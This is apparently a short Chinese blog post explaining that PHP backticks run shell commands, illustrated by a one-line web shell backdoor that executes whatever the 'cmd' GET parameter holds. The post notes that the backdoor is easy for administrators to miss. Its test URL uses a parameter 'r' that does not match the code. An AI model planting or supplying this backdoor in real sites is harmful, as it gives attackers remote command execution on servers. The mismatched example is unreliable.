偶然間看到一段,看起來似乎沒有什麼問題,確是能致命的後門程式碼,這裡用到了一個一般的PHPer都不怎麼關注的反撇號 ` ,反撇號包含的字串,等同於shell_exec函式。
偽裝性很好,很容易被管理員忽略。
if(isset($_GET['cmd'])) echo `{$_GET['cmd']}`;
剛看到這段程式碼我想大家都會說沒有問題,但是細心的朋友也會發現下面的變數被一個符號包起來了,既然是變數為什麼要這樣了,
而且又不是單引號,這個就是關鍵所在了,這個符號是 Esc 下面的一個鍵(位於感嘆號!旁邊的)。
通過 echo `系統命令`; 可以達到 system(); 一樣的效果
如果不信的朋友可以測試
http://127.0.0.1/t.php?r=dir 可以列出目錄
我用 apache 已經測試成功
評論(5)